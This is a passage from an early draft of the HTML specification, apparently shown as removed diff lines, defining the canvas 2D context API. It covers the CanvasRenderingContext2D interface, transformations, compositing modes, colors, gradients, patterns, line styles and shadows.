-   href="#domain1" title="script's domain">domain of the script</a> that
-   painted the images onto the canvas.
-
-  <h5 id=the-2d><span class=secno>3.14.6.1. </span>The 2D context</h5>
-
-  <p>When the <code title=dom-canvas-getContext><a
-   href="#getcontext">getContext()</a></code> method of a <code><a
-   href="#canvas">canvas</a></code> element is invoked with <dfn id=d
-   title=canvas-context-2d><code>2d</code></dfn> as the argument, a <code><a
-   href="#canvasrenderingcontext2d">CanvasRenderingContext2D</a></code>
-   object is returned.
-
-  <p>There is only one <code><a
-   href="#canvasrenderingcontext2d">CanvasRenderingContext2D</a></code>
-   object per canvas, so calling the <code title=dom-canvas-getContext><a
-   href="#getcontext">getContext()</a></code> method with the <code
-   title=canvas-context-2d><a href="#d">2d</a></code> argument a second time
-   must return the same object.
-
-  <p>The 2D context represents a flat cartesian surface whose origin (0,0) is
-   at the top left corner, with the coordinate space having <var
-   title="">x</var> values increasing when going right, and <var
-   title="">y</var> values increasing when going down.
-
-  <pre
-   class=idl>interface <dfn id=canvasrenderingcontext2d>CanvasRenderingContext2D</dfn> {
-
-  // back-reference to the canvas readonly attribute
-  <a href="#htmlcanvaselement">HTMLCanvasElement</a> <a href="#canvas1" title=dom-context-2d-canvas>canvas</a>;
-
-  // state
-  void <a href="#save" title=dom-context-2d-save>save</a>(); // push state on state stack
-  void <a href="#restore" title=dom-context-2d-restore>restore</a>(); // pop state stack and restore state
-
-  // transformations (default transform is the identity matrix)
-  void <a href="#scale" title=dom-context-2d-scale>scale</a>(in float x, in float y);
-  void <a href="#rotate" title=dom-context-2d-rotate>rotate</a>(in float angle);
-  void <a href="#translate" title=dom-context-2d-translate>translate</a>(in float x, in float y);
-  void <a href="#transform" title=dom-context-2d-transform>transform</a>(in float m11, in float m12, in float m21, in float m22, in float dx, in float dy);
-  void <a href="#settransform" title=dom-context-2d-setTransform>setTransform</a>(in float m11, in float m12, in float m21, in float m22, in float dx, in float dy);
-<!--
-  // XXX we've also received requests for:
-  void skew(...);
-  void reflect(...); // or mirror(...)
--->
-  // compositing
-           attribute float <a href="#globalalpha" title=dom-context-2d-globalAlpha>globalAlpha</a>; // (default 1.0)
-           attribute DOMString <a href="#globalcompositeoperation" title=dom-context-2d-globalCompositeOperation>globalCompositeOperation</a>; // (default over)
-
-  // colors and styles
-           attribute DOMObject <a href="#strokestyle" title=dom-context-2d-strokeStyle>strokeStyle</a>; // (default black)
-           attribute DOMObject <a href="#fillstyle" title=dom-context-2d-fillStyle>fillStyle</a>; // (default black)
-  <a href="#canvasgradient0">CanvasGradient</a> <span title=dom-context-2d-createLinearGradient>createLinearGradient</span>(in float x0, in float y0, in float x1, in float y1);
-  <a href="#canvasgradient0">CanvasGradient</a> <span title=dom-context-2d-createRadialGradient>createRadialGradient</span>(in float x0, in float y0, in float r0, in float x1, in float y1, in float r1);
-  <a href="#canvaspattern0">CanvasPattern</a> <span title=dom-context-2d-createPattern>createPattern</span>(in <a href="#htmlimageelement">HTMLImageElement</a> image, DOMString repetition);
-  <a href="#canvaspattern0">CanvasPattern</a> <span title=dom-context-2d-createPattern>createPattern</span>(in <a href="#htmlcanvaselement">HTMLCanvasElement</a> image, DOMString repetition);
-
-  // line caps/joins
-           attribute float <a href="#linewidth" title=dom-context-2d-lineWidth>lineWidth</a>; // (default 1)
-           attribute DOMString <a href="#linecap" title=dom-context-2d-lineCap>lineCap</a>; // "butt", "round", "square" (default "butt")
-           attribute DOMString <a href="#linejoin" title=dom-context-2d-lineJoin>lineJoin</a>; // "round", "bevel", "miter" (default "miter")
-           attribute float <a href="#miterlimit" title=dom-context-2d-miterLimit>miterLimit</a>; // (default 10)
-
-  // shadows
-           attribute float <a href="#shadowoffsetx" title=dom-context-2d-shadowOffsetX>shadowOffsetX</a>; // (default 0)
-           attribute float <a href="#shadowoffsety" title=dom-context-2d-shadowOffsetY>shadowOffsetY</a>; // (default 0)
-           attribute float <a href="#shadowblur" title=dom-context-2d-shadowBlur>shadowBlur</a>; // (default 0)
-           attribute DOMString <a href="#shadowcolor" title=dom-context-2d-shadowColor>shadowColor</a>; // (default black)
-
-  // rects
-  void <a href="#clearrect" title=dom-context-2d-clearRect>clearRect</a>(in float x, in float y, in float w, in float h);
-  void <a href="#fillrect" title=dom-context-2d-fillRect>fillRect</a>(in float x, in float y, in float w, in float h);
-  void <a href="#strokerect" title=dom-context-2d-strokeRect>strokeRect</a>(in float x, in float y, in float w, in float h);
-
-  // path API
-  void <a href="#beginpath" title=dom-context-2d-beginPath>beginPath</a>();
-  void <a href="#closepath" title=dom-context-2d-closePath>closePath</a>();
-  void <a href="#moveto" title=dom-context-2d-moveTo>moveTo</a>(in float x, in float y);
-  void <a href="#lineto" title=dom-context-2d-lineTo>lineTo</a>(in float x, in float y);
-  void <a href="#quadraticcurveto" title=dom-context-2d-quadraticCurveTo>quadraticCurveTo</a>(in float cpx, in float cpy, in float x, in float y);
-  void <a href="#beziercurveto" title=dom-context-2d-bezierCurveTo>bezierCurveTo</a>(in float cp1x, in float cp1y, in float cp2x, in float cp2y, in float x, in float y);
-  void <a href="#arcto" title=dom-context-2d-arcTo>arcTo</a>(in float x1, in float y1, in float x2, in float y2, in float radius);
-  void <a href="#rectx" title=dom-context-2d-rect>rect</a>(in float x, in float y, in float w, in float h);
-  void <a href="#arcx-" title=dom-context-2d-arc>arc</a>(in float x, in float y, in float radius, in float startAngle, in float endAngle, in boolean anticlockwise);
-  void <a href="#fill" title=dom-context-2d-fill>fill</a>();
-  void <a href="#stroke" title=dom-context-2d-stroke>stroke</a>();
-  void <a href="#clip" title=dom-context-2d-clip>clip</a>();
-  boolean <a href="#ispointinpath" title=dom-context-2d-isPointInPath>isPointInPath</a>(in float x, in float y);
-
-  // drawing images
-  void <a href="#drawimage" title=dom-context-2d-drawImage>drawImage</a>(in <a href="#htmlimageelement">HTMLImageElement</a> image, in float dx, in float dy);
-  void <a href="#drawimage" title=dom-context-2d-drawImage>drawImage</a>(in <a href="#htmlimageelement">HTMLImageElement</a> image, in float dx, in float dy, in float dw, in float dh);
-  void <a href="#drawimage" title=dom-context-2d-drawImage>drawImage</a>(in <a href="#htmlimageelement">HTMLImageElement</a> image, in float sx, in float sy, in float sw, in float sh, in float dx, in float dy, in float dw, in float dh);
-  void <a href="#drawimage" title=dom-context-2d-drawImage>drawImage</a>(in <a href="#htmlcanvaselement">HTMLCanvasElement</a> image, in float dx, in float dy);
-  void <a href="#drawimage" title=dom-context-2d-drawImage>drawImage</a>(in <a href="#htmlcanvaselement">HTMLCanvasElement</a> image, in float dx, in float dy, in float dw, in float dh);
-  void <a href="#drawimage" title=dom-context-2d-drawImage>drawImage</a>(in <a href="#htmlcanvaselement">HTMLCanvasElement</a> image, in float sx, in float sy, in float sw, in float sh, in float dx, in float dy, in float dw, in float dh);
-
-  // pixel manipulation
-  <a href="#imagedata">ImageData</a> <a href="#getimagedata" title=dom-context-2d-getImageData>getImageData</a>(in float sx, in float sy, in float sw, in float sh);
-  void <a href="#putimagedata" title=dom-context-2d-putImageData>putImageData</a>(in <a href="#imagedata">ImageData</a> image, in float dx, in float dy);
-
-  // drawing text is not supported in this version of the API
-  // (there is no way to predict what metrics the fonts will have,
-  // which makes fonts very hard to use for painting)
-
-};
-
-interface <dfn id=canvasgradient>CanvasGradient</dfn> {
-  // opaque object
-  void <a href="#addcolorstop" title=dom-canvasgradient-addColorStop>addColorStop</a>(in float offset, in DOMString color);
-};
-
-interface <dfn id=canvaspattern>CanvasPattern</dfn> {
-  // opaque object
-};
-
-interface <dfn id=imagedata>ImageData</dfn> {
-  readonly attribute long int <a href="#width5" title=dom-imagedata-width>width</a>;
-  readonly attribute long int <a href="#height5" title=dom-imagedata-height>height</a>;
-  readonly attribute int[] <a href="#data1" title=dom-imagedata-data>data</a>;
-};</pre>
-
-  <p>The <dfn id=canvas1
-   title=dom-context-2d-canvas><code>canvas</code></dfn> attribute must
-   return the <code><a href="#canvas">canvas</a></code> element that the
-   context paints on.
-
-  <h6 id=the-canvas0><span class=secno>3.14.6.1.1. </span>The canvas state</h6>
-
-  <p>Each context maintains a stack of drawing states. <dfn id=drawing0
-   title="drawing state">Drawing states</dfn> consist of:
-
-  <ul class=brief>
-   <li>The current transformation matrix.
-
-   <li>The current clip region.
-
-   <li>The current values of the following attributes: <code
-    title=dom-context-2d-strokeStyle><a
-    href="#strokestyle">strokeStyle</a></code>, <code
-    title=dom-context-2d-fillStyle><a href="#fillstyle">fillStyle</a></code>,
-    <code title=dom-context-2d-globalAlpha><a
-    href="#globalalpha">globalAlpha</a></code>, <code
-    title=dom-context-2d-lineWidth><a href="#linewidth">lineWidth</a></code>,
-    <code title=dom-context-2d-lineCap><a href="#linecap">lineCap</a></code>,
-    <code title=dom-context-2d-lineJoin><a
-    href="#linejoin">lineJoin</a></code>, <code
-    title=dom-context-2d-miterLimit><a
-    href="#miterlimit">miterLimit</a></code>, <code
-    title=dom-context-2d-shadowOffsetX><a
-    href="#shadowoffsetx">shadowOffsetX</a></code>, <code
-    title=dom-context-2d-shadowOffsetY><a
-    href="#shadowoffsety">shadowOffsetY</a></code>, <code
-    title=dom-context-2d-shadowBlur><a
-    href="#shadowblur">shadowBlur</a></code>, <code
-    title=dom-context-2d-shadowColor><a
-    href="#shadowcolor">shadowColor</a></code>, <code
-    title=dom-context-2d-globalCompositeOperation><a
-    href="#globalcompositeoperation">globalCompositeOperation</a></code>.
-  </ul>
-
-  <p class=note>The current path and the current bitmap are not part of the
-   drawing state. The current path is persistent, and can only be reset using
-   the <code title=dom-context-2d-beginPath><a
-   href="#beginpath">beginPath()</a></code> method. The current bitmap is
-   <span title=concept-canvas-image>a property of the
-   canvas</span><!-- XXX xref -->, not the context.
-
-  <p>The <dfn id=save title=dom-context-2d-save><code>save()</code></dfn>
-   method pushes a copy of the current drawing state onto the drawing state
-   stack.
-
-  <p>The <dfn id=restore
-   title=dom-context-2d-restore><code>restore()</code></dfn> method pops the
-   top entry in the drawing state stack, and resets the drawing state it
-   describes. If there is no saved state, the method does nothing.
-
-  <h6 id=transformations><span class=secno>3.14.6.1.2. </span><dfn
-   id=transformations1>Transformations</dfn></h6>
-
-  <p>The transformation matrix is applied to all drawing operations prior to
-   their being rendered. It is also applied when creating the clip region.</p>
-  <!-- conformance criteria for actual drawing are
-  described in "drawing model" below -->
-
-  <p>When the context is created, the transformation matrix must initially be
-   the identity transform. It may then be adjusted using the three
-   transformation methods.
-
-  <p>The transformations must be performed in reverse order. For instance, if
-   a scale transformation that doubles the width is applied, followed by a
-   rotation transformation that rotates drawing operations by a quarter turn,
-   and a rectangle twice as wide as it is tall is then drawn on the canvas,
-   the actual result will be a square.
-
-  <p>The <dfn id=scale title=dom-context-2d-scale><code>scale(<var
-   title="">x</var>, <var title="">y</var>)</code></dfn> method must add the
-   scaling transformation described by the arguments to the transformation
-   matrix. The <var title="">x</var> argument represents the scale factor in
-   the horizontal direction and the <var title="">y</var> argument represents
-   the scale factor in the vertical direction. The factors are multiples.
-
-  <p>The <dfn id=rotate title=dom-context-2d-rotate><code>rotate(<var
-   title="">angle</var>)</code></dfn> method must add the rotation
-   transformation described by the argument to the transformation matrix. The
-   <var title="">angle</var> argument represents a clockwise rotation angle
-   expressed in radians.
-
-  <p>The <dfn id=translate
-   title=dom-context-2d-translate><code>translate(<var title="">x</var>, <var
-   title="">y</var>)</code></dfn> method must add the translation
-   transformation described by the arguments to the transformation matrix.
-   The <var title="">x</var> argument represents the translation distance in
-   the horizontal direction and the <var title="">y</var> argument represents
-   the translation distance in the vertical direction. The arguments are in
-   coordinate space units.
-
-  <p>The <dfn id=transform
-   title=dom-context-2d-transform><code>transform(<var title="">m11</var>,
-   <var title="">m12</var>, <var title="">m21</var>, <var title="">m22</var>,
-   <var title="">dx</var>, <var title="">dy</var>)</code></dfn> method must
-   multiply the current transformation matrix with the matrix described by:
-
-  <table class=matrix>
-   <tbody>
-    <tr>
-     <td><var title="">m11</var>
-
-     <td><var title="">m12</var>
-
-     <td><var title="">dx</var>
-
-    <tr>
-     <td><var title="">m21</var>
-
-     <td><var title="">m22</var>
-
-     <td><var title="">dy</var>
-
-    <tr>
-     <td>0
-
-     <td>0
-
-     <td>1
-  </table>
-
-  <p>The <dfn id=settransform
-   title=dom-context-2d-setTransform><code>setTransform(<var
-   title="">m11</var>, <var title="">m12</var>, <var title="">m21</var>, <var
-   title="">m22</var>, <var title="">dx</var>, <var
-   title="">dy</var>)</code></dfn> method must reset the current transform to
-   the identity matrix, and then invoke the <code><a href="#transform"
-   title=dom-context-2d-transform>transform</a>(<var title="">m11</var>, <var
-   title="">m12</var>, <var title="">m21</var>, <var title="">m22</var>, <var
-   title="">dx</var>, <var title="">dy</var>)</code> method with the same
-   arguments.
-
-  <h6 id=compositing><span class=secno>3.14.6.1.3. </span>Compositing</h6>
-
-  <p>All drawing operations are affected by the global compositing
-   attributes, <code title=dom-context-2d-globalAlpha><a
-   href="#globalalpha">globalAlpha</a></code> and <code
-   title=dom-context-2d-globalCompositeOperation><a
-   href="#globalcompositeoperation">globalCompositeOperation</a></code>.</p>
-  <!-- conformance criteria for painting are described in the "drawing
-  model" section below -->
-
-  <p>The <dfn id=globalalpha
-   title=dom-context-2d-globalAlpha><code>globalAlpha</code></dfn> attribute
-   gives an alpha value that is applied to shapes and images before they are
-   composited onto the canvas. The value must be in the range from 0.0 (fully
-   transparent) to 1.0 (no additional transparency). If an attempt is made to
-   set the attribute to a value outside this range, the attribute must retain
-   its previous value. When the context is created, the <code
-   title=dom-context-2d-globalAlpha><a
-   href="#globalalpha">globalAlpha</a></code> attribute must initially have
-   the value 1.0.
-
-  <p>The <dfn id=globalcompositeoperation
-   title=dom-context-2d-globalCompositeOperation><code>globalCompositeOperation</code></dfn>
-   attribute sets how shapes and images are drawn onto the existing bitmap,
-   once they have had <code title=dom-context-2d-globalAlpha><a
-   href="#globalalpha">globalAlpha</a></code> and the current transformation
-   matrix applied. It must be set to a value from the following list. In the
-   descriptions below, the source image is the shape or image being rendered,
-   and the destination image is the current state of the bitmap.
-
-  <p class=issue>The source-* descriptions below don't define what should
-   happen with semi-transparent regions.
-
-  <dl>
-   <dt><dfn id=source-atop
-    title=gcop-source-atop><code>source-atop</code></dfn>
-
-   <dd>Display the source image wherever both images are opaque. Display the
-    destination image wherever the destination image is opaque but the source
-    image is transparent. Display transparency elsewhere.
-
-   <dt><dfn id=source-in title=gcop-source-in><code>source-in</code></dfn>
-
-   <dd>Display the source image wherever both the source image and
-    destination image are opaque. Display transparency elsewhere.
-
-   <dt><dfn id=source-out title=gcop-source-out><code>source-out</code></dfn>
-
-   <dd>Display the source image wherever the source image is opaque and the
-    destination image is transparent. Display transparency elsewhere.
-
-   <dt><dfn id=source-over
-    title=gcop-source-over><code>source-over</code></dfn> (default)
-
-   <dd>Display the source image wherever the source image is opaque. Display
-    the destination image elsewhere.
-
-   <dt><dfn id=destination-atop
-    title=gcop-destination-atop><code>destination-atop</code></dfn>
-
-   <dd>Same as <code title=gcop-source-atop><a
-    href="#source-atop">source-atop</a></code> but using the destination
-    image instead of the source image and vice versa.
-
-   <dt><dfn id=destination-in
-    title=gcop-destination-in><code>destination-in</code></dfn>
-
-   <dd>Same as <code title=gcop-source-in><a
-    href="#source-in">source-in</a></code> but using the destination image
-    instead of the source image and vice versa.
-
-   <dt><dfn id=destination-out
-    title=gcop-destination-out><code>destination-out</code></dfn>
-
-   <dd>Same as <code title=gcop-source-out><a
-    href="#source-out">source-out</a></code> but using the destination image
-    instead of the source image and vice versa.
-
-   <dt><dfn id=destination-over
-    title=gcop-destination-over><code>destination-over</code></dfn>
-
-   <dd>Same as <code title=gcop-source-over><a
-    href="#source-over">source-over</a></code> but using the destination
-    image instead of the source image and vice versa.
-
-   <dt><dfn id=darker title=gcop-darker><code>darker</code></dfn>
-
-   <dd>Display the sum of the source image and destination images, with color
-    values approaching 0 as a limit.
-
-   <dt><dfn id=lighter title=gcop-lighter><code>lighter</code></dfn>
-
-   <dd>Display the sum of the source image and destination image, with color
-    values approaching 1 as a limit.
-
-   <dt><dfn id=copy title=gcop-copy><code>copy</code></dfn>
-
-   <dd>Display the source image instead of the destination image.
-
-   <dt><dfn id=xor title=gcop-xor><code>xor</code></dfn>
-
-   <dd>Exclusive OR of the source and destination images.
-
-   <dt><code><var title="">vendorName</var>-<var
-    title="">operationName</var></code>
-
-   <dd>Vendor-specific extensions to the list of composition operators should
-    use this syntax.
-  </dl>
-
-  <p>These values are all case-sensitive AMPERSANDmdash; they must be used exactly as
-   shown. User agents must only recognise values that exactly match the
-   values given above.
-
-  <p>On setting, if the user agent does not recognise the specified value, it
-   must be ignored, leaving the value of <code
-   title=dom-context-2d-globalCompositeOperation><a
-   href="#globalcompositeoperation">globalCompositeOperation</a></code>
-   unaffected.
-
-  <p>When the context is created, the <code
-   title=dom-context-2d-globalCompositeOperation><a
-   href="#globalcompositeoperation">globalCompositeOperation</a></code>
-   attribute must initially have the value <code>source-over</code>.
-
-  <h6 id=colors><span class=secno>3.14.6.1.4. </span>Colors and styles</h6>
-
-  <p>The <dfn id=strokestyle
-   title=dom-context-2d-strokeStyle><code>strokeStyle</code></dfn> attribute
-   represents the color or style to use for the lines around shapes, and the
-   <dfn id=fillstyle
-   title=dom-context-2d-fillStyle><code>fillStyle</code></dfn> attribute
-   represents the color or style to use inside the shapes.
-
-  <p>Both attributes can be either strings, <code><a
-   href="#canvasgradient0">CanvasGradient</a></code>s, or <code><a
-   href="#canvaspattern0">CanvasPattern</a></code>s. On setting, strings
-   should be parsed as CSS AMPERSANDlt;colorAMPERSANDgt; values and the color assigned, and
-   <code><a href="#canvasgradient0">CanvasGradient</a></code> and <code><a
-   href="#canvaspattern0">CanvasPattern</a></code> objects must be assigned
-   themselves. <a href="#refsCSS3COLOR">[CSS3COLOR]</a> If the value is a
-   string but is not a valid color, or is neither a string, a <code><a
-   href="#canvasgradient0">CanvasGradient</a></code>, nor a <code><a
-   href="#canvaspattern0">CanvasPattern</a></code>, then it must be ignored,
-   and the attribute must retain its previous value.
-
-  <p>On getting, if the value is a color, then: if it has alpha equal to 1.0,
-   then the color must be returned as an uppercase six-digit hex value,
-   prefixed with a "#" character (U+0023 NUMBER SIGN), with the first two
-   digits representing the red component, the next two digits representing
-   the green component, and the last two digits representing the blue
-   component, the digits being in the range 0-9 A-F (U+0030 to U+0039 and
-   U+0041 to U+0046). If the value has alpha less than 1.0, then the value
-   must instead be returned in the CSS <code title="">rgba()</code>
-   functional-notation format: the literal string <code title="">rgba</code>
-   (U+0072 U+0067 U+0062 U+0061) followed by a U+0028 LEFT PARENTHESIS, a
-   base-ten integer in the range 0-255 representing the red component (using
-   digits 0-9, U+0030 to U+0039, in the shortest form possible), a literal
-   U+002C COMMA and U+0020 SPACE, an integer for the green component, a comma
-   and a space, an integer for the blue component, another comma and space, a
-   U+0030 DIGIT ZERO, a U+002E FULL STOP (representing the decimal point),
-   one or more digits in the range 0-9 (U+0030 to U+0039) representing the
-   fractional part of the alpha value, and finally a U+0029 RIGHT
-   PARENTHESIS.
-
-  <p>Otherwise, if it is not a color but a <code><a
-   href="#canvasgradient0">CanvasGradient</a></code> or <code><a
-   href="#canvaspattern0">CanvasPattern</a></code>, then an object supporting
-   those interfaces must be returned. Such objects are opaque and therefore
-   only useful for assigning to other attributes or for comparison to other
-   gradients or patterns.
-
-  <p>When the context is created, the <code
-   title=dom-context-2d-strokeStyle><a
-   href="#strokestyle">strokeStyle</a></code> and <code
-   title=dom-context-2d-fillStyle><a href="#fillstyle">fillStyle</a></code>
-   attributes must initially have the string value <code
-   title="">#000000</code>.
-
-  <p>There are two types of gradients, linear gradients and radial gradients,
-   both represented by objects implementing the opaque <dfn
-   id=canvasgradient0><code>CanvasGradient</code></dfn> interface.
-
-  <p>Once a gradient has been created (see below), stops must be placed along
-   it to define how the colors are distributed along the gradient. Between
-   each such stop, the colors and the alpha component must be interpolated
-   over the RGBA space to find the color to use at that offset. Immediately
-   before the 0 offset and immediately after the 1 offset, transparent black
-   stops are be assumed.
-
-  <p>The <dfn id=addcolorstop
-   title=dom-canvasgradient-addColorStop><code>addColorStop(<var
-   title="">offset</var>, <var title="">color</var>)</code></dfn> method on
-   the <code><a href="#canvasgradient0">CanvasGradient</a></code> interface
-   adds a new stop to a gradient. If the <var title="">offset</var> is less
-   than 0 or greater than 1 then an <code>INDEX_SIZE_ERR</code> exception
-   must be raised. If the <var title="">color</var> cannot be parsed as a CSS
-   color, then a <code>SYNTAX_ERR</code> exception must be raised. Otherwise,
-   the gradient must be updated with the new stop information.
-
-  <p>The <dfn id=createlineargradient title=createLinearGradient><code
-   title=dom-context-2d-createLinearGradient>createLinearGradient(<var
-   title="">x0</var>, <var title="">y0</var>, <var title="">x1</var>, <var
-   title="">y1</var>)</code></dfn> method takes four arguments, representing
-   the start point (<var title="">x0</var>, <var title="">y0</var>) and end
-   point (<var title="">x1</var>, <var title="">y1</var>) of the gradient, in
-   coordinate space units, and must return a linear <code><a
-   href="#canvasgradient0">CanvasGradient</a></code> initialised with that
-   line.
-
-  <p>Linear gradients must be rendered such that at the starting point on the
-   canvas the color at offset 0 is used, that at the ending point the color
-   at offset 1 is used, that all points on a line perpendicular to the line
-   between the start and end points have the color at the point where those
-   two lines cross (interpolation happening as described above), and that any
-   points beyond the start or end points are a transparent black.
-
-  <p>The <dfn id=createradialgradient title=createRadialGradient><code
-   title=dom-context-2d-createRadialGradient>createRadialGradient(<var
-   title="">x0</var>, <var title="">y0</var>, <var title="">r0</var>, <var
-   title="">x1</var>, <var title="">y1</var>, <var
-   title="">r1</var>)</code></dfn> method takes six arguments, the first
-   three representing the start circle with origin (<var title="">x0</var>,
-   <var title="">y0</var>) and radius <var title="">r0</var>, and the last
-   three representing the end circle with origin (<var title="">x1</var>,
-   <var title="">y1</var>) and radius <var title="">r1</var>. The values are
-   in coordinate space units. The method must return a radial <code><a
-   href="#canvasgradient0">CanvasGradient</a></code> initialised with those
-   two circles.
-
-  <p>Radial gradients must be rendered such that a cone is created from the
-   two circles, so that at the circumference of the starting circle the color
-   at offset 0 is used, that at the circumference around the ending circle
-   the color at offset 1 is used, that the circumference of a circle drawn a
-   certain fraction of the way along the line between the two origins with a
-   radius the same fraction of the way between the two radii has the color at
-   that offset (interpolation happening as described above), that the end
-   circle appear to be above the start circle when the end circle is not
-   completely enclosed by the start circle, and that any points not described
-   by the gradient are a transparent black.
-
-  <p>If a gradient has no stops defined, then the gradient must be treated as
-   a solid transparent black. Gradients are, naturally, only painted where
-   the stroking or filling effect requires that they be drawn.
-
-  <p>Support for actually painting gradients is optional. Instead of painting
-   the gradients, user agents may instead just paint the first stop's color.
-   However, <code
-   title=dom-context-2d-createLinearGradient>createLinearGradient()</code>
-   and <code
-   title=dom-context-2d-createRadialGradient>createRadialGradient()</code>
-   must always return objects when passed valid arguments.
-
-  <p>Patterns are represented by objects implementing the opaque <dfn
-   id=canvaspattern0><code>CanvasPattern</code></dfn> interface.
-
-  <p>To create objects of this type, the <dfn id=createpatternimage
-   title=createPattern><code
-   title=dom-context-2d-createPattern>createPattern(image,
-   repetition)</code></dfn> method is used. The first argument gives the
-   image to use as the pattern (either an <code><a
-   href="#htmlimageelement">HTMLImageElement</a></code> or an <code><a
-   href="#htmlcanvaselement">HTMLCanvasElement</a></code>). Modifying this
-   image after calling the <code
-   title=dom-context-2d-createPattern>createPattern()</code> method must not
-   affect the pattern. The second argument must be a string with one of the
-   following values: <code title="">repeat</code>, <code
-   title="">repeat-x</code>, <code title="">repeat-y</code>, <code
-   title="">no-repeat</code>. If the empty string or null is specified, <code
-   title="">repeat</code> must be assumed. If an unrecognised value is given,
-   then the user agent must raise a <code>SYNTAX_ERR</code> exception. User
-   agents must recognise the four values described above exactly (e.g. they
-   must not do case folding). The method must return a <code><a
-   href="#canvaspattern0">CanvasPattern</a></code> object suitably
-   initialised.
-
-  <p>The <var title="">image</var> argument must be an instance of an
-   <code><a href="#htmlimageelement">HTMLImageElement</a></code> or <code><a
-   href="#htmlcanvaselement">HTMLCanvasElement</a></code>. If the <var
-   title="">image</var> is of the wrong type, the implementation must raise a
-   <code>TYPE_MISMATCH_ERR</code> exception.
-
-  <p>Patterns must be painted so that the top left of the first image is
-   anchored at the origin of the coordinate space, and images are then
-   repeated horizontally to the left and right (if the <code>repeat-x</code>
-   string was specified) or vertically up and down (if the
-   <code>repeat-y</code> string was specified) or in all four directions all
-   over the canvas (if the <code>repeat</code> string was specified). The
-   images are not be scaled by this process; one CSS pixel of the image must
-   be painted on one coordinate space unit. Of course, patterns must only
-   actually painted where the stroking or filling effect requires that they
-   be drawn, and are affected by the current transformation matrix.
-
-  <p>Support for patterns is optional. If the user agent doesn't support
-   patterns, then <code
-   title=dom-context-2d-createPattern>createPattern()</code> must return
-   null.
-
-  <h6 id=line-styles><span class=secno>3.14.6.1.5. </span>Line styles</h6>
-
-  <p>The <dfn id=linewidth
-   title=dom-context-2d-lineWidth><code>lineWidth</code></dfn> attribute
-   gives the default width of lines, in coordinate space units. On setting,
-   zero and negative values must be ignored, leaving the value unchanged.
-
-  <p>When the context is created, the <code title=dom-context-2d-lineWidth><a
-   href="#linewidth">lineWidth</a></code> attribute must initially have the
-   value <code>1.0</code>.
-
-  <p>The <dfn id=linecap
-   title=dom-context-2d-lineCap><code>lineCap</code></dfn> attribute defines
-   the type of endings that UAs shall place on the end of lines. The three
-   valid values are <code>butt</code>, <code>round</code>, and
-   <code>square</code>. The <code>butt</code> value means that the end of
-   each line is a flat edge perpendicular to the direction of the line. The
-   <code>round</code> value means that a semi-circle with the diameter equal
-   to the width of the line is then added on to the end of the line. The
-   <code>square</code> value means that at the end of each line is a
-   rectangle with the length of the line width and the width of half the line
-   width, placed flat against the edge perpendicular to the direction of the
-   line. On setting, any other value than the literal strings
-   <code>butt</code>, <code>round</code>, and <code>square</code> must be
-   ignored, leaving the value unchanged.
-
-  <p>When the context is created, the <code title=dom-context-2d-lineCap><a
-   href="#linecap">lineCap</a></code> attribute must initially have the value
-   <code>butt</code>.
-
-  <p>The <dfn id=linejoin
-   title=dom-context-2d-lineJoin><code>lineJoin</code></dfn> attribute
-   defines the type of corners that that UAs will place where two lines meet.
-   The three valid values are <code>round</code>, <code>bevel</code>, and
-   <code>miter</code>.
-
-  <p>On setting, any other value than the literal strings <code>round</code>,
-   <code>bevel</code> and <code>miter</code> must be ignored, leaving the
-   value unchanged.
-
-  <p>When the context is created, the <code title=dom-context-2d-lineJoin><a
-   href="#linejoin">lineJoin</a></code> attribute must initially have the
-   value <code>miter</code>.
-
-  <p>The <code>round</code> value means that a filled arc connecting the
-   corners on the outside of the join, with the diameter equal to the line
-   width, and the origin at the point where the inside edges of the lines
-   touch, must be rendered at joins. The <code>bevel</code> value means that
-   a filled triangle connecting those two corners with a straight line, the
-   third point of the triangle being the point where the lines touch on the
-   inside of the join, must be rendered at joins. The <code>miter</code>
-   value means that a filled four- or five-sided polygon must be placed at
-   the join, with two of the lines being the perpendicular edges of the
-   joining lines, and the other two being continuations of the outside edges
-   of the two joining lines, as long as required to intersect without going
-   over the miter limit.
-
-  <p>The miter length is the distance from the point where the lines touch on
-   the inside of the join to the intersection of the line edges on the
-   outside of the join. The miter limit ratio is the maximum allowed ratio of
-   the miter length to the line width. If the miter limit would be exceeded,
-   then a fifth line must be added to the polygon, connecting the two outside
-   lines, such that the distance from the inside point of the join to the
-   point in the middle of this fifth line is the maximum allowed value for
-   the miter length.
-
-  <p>The miter limit ratio can be explicitly set using the <dfn id=miterlimit
-   title=dom-context-2d-miterLimit><code>miterLimit</code></dfn> attribute.
-   On setting, zero and negative values must be ignored, leaving the value
-   unchanged.
-
-  <p>When the context is created, the <code
-   title=dom-context-2d-miterLimit><a
-   href="#miterlimit">miterLimit</a></code> attribute must initially have the
-   value <code>10.0</code>.</p>
-  <!-- XXX this section doesn't say what these attributes return or
-  what they do on setting. not a big deal; it's pretty obvious. but if
-  anyone complains, we'll have to add it -->
-
-  <h6 id=shadows><span class=secno>3.14.6.1.6. </span><dfn
-   id=shadows1>Shadows</dfn></h6>
-
-  <p>All drawing operations are affected by the four global shadow
-   attributes. Shadows form part of the source image during composition.
-
-  <p>The <dfn id=shadowcolor
-   title=dom-context-2d-shadowColor><code>shadowColor</code></dfn> attribute
-   sets the color of the shadow.</p>
-  <!-- XXX this section doesn't say what this attributes returns or
-  what they do on setting. if anyone complains, we'll have to add
-  it. shadowColor is a CSS Color attribute. -->
-
-  <p>When the context is created, the <code
-   title=dom-context-2d-shadowColor><a
-   href="#shadowcolor">shadowColor</a></code> attribute initially must be
-   fully-transparent black.
-
-  <p>The <dfn id=shadowoffsetx
-   title=dom-context-2d-shadowOffsetX><code>shadowOffsetX</code></dfn> and
-   <dfn id=shadowoffsety
-   title=dom-context-2d-shadowOffsetY><code>shadowOffsetY</code></dfn>
-   attributes specify the distance that the shadow will be offset in the
-   positive horizontal and positive vertical distance respectively. Their
-   values are in coordinate space units.</p>
-  <!-- XXX we don't define getting/setting -->
-
-  <p>When the context is created, the shadow offset attributes initially have
-   the value <code>0</code>.
-
-  <p>The <dfn id=shadowblur
-   title=dom-context-2d-shadowBlur><code>shadowBlur</code></dfn> attribute
-   specifies the number of coordinate space units that the blurring is to
-   cover. On setting, negative numbers must be ignored, leaving the attribute
-   unmodified.</p>
-  <!-- XXX we don't define getting/setting -->
-
-  <p>When the context is created, the <code
-   title=dom-context-2d-shadowBlur><a
-   href="#shadowblur">shadowBlur</a></code> attribute must initially have the
-   value <code>0</code>.
-
-  <p>Support for shadows is optional. When they are supported, then, when
-   shadows are drawn, they must be rendered using the specified color,
-   offset, and blur radius.</p>
-  <!-- XXX we don't really define what that means -->
-
